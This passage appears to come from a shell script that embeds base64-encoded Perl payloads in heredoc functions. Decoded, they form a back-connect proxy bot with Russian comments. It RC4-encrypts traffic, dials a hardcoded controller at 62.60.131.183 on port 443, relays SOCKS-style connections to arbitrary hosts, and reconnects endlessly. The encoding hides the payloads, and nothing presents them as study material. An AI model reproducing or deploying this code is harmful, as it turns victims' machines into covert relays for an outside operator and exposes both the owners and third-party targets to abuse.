a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_34() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
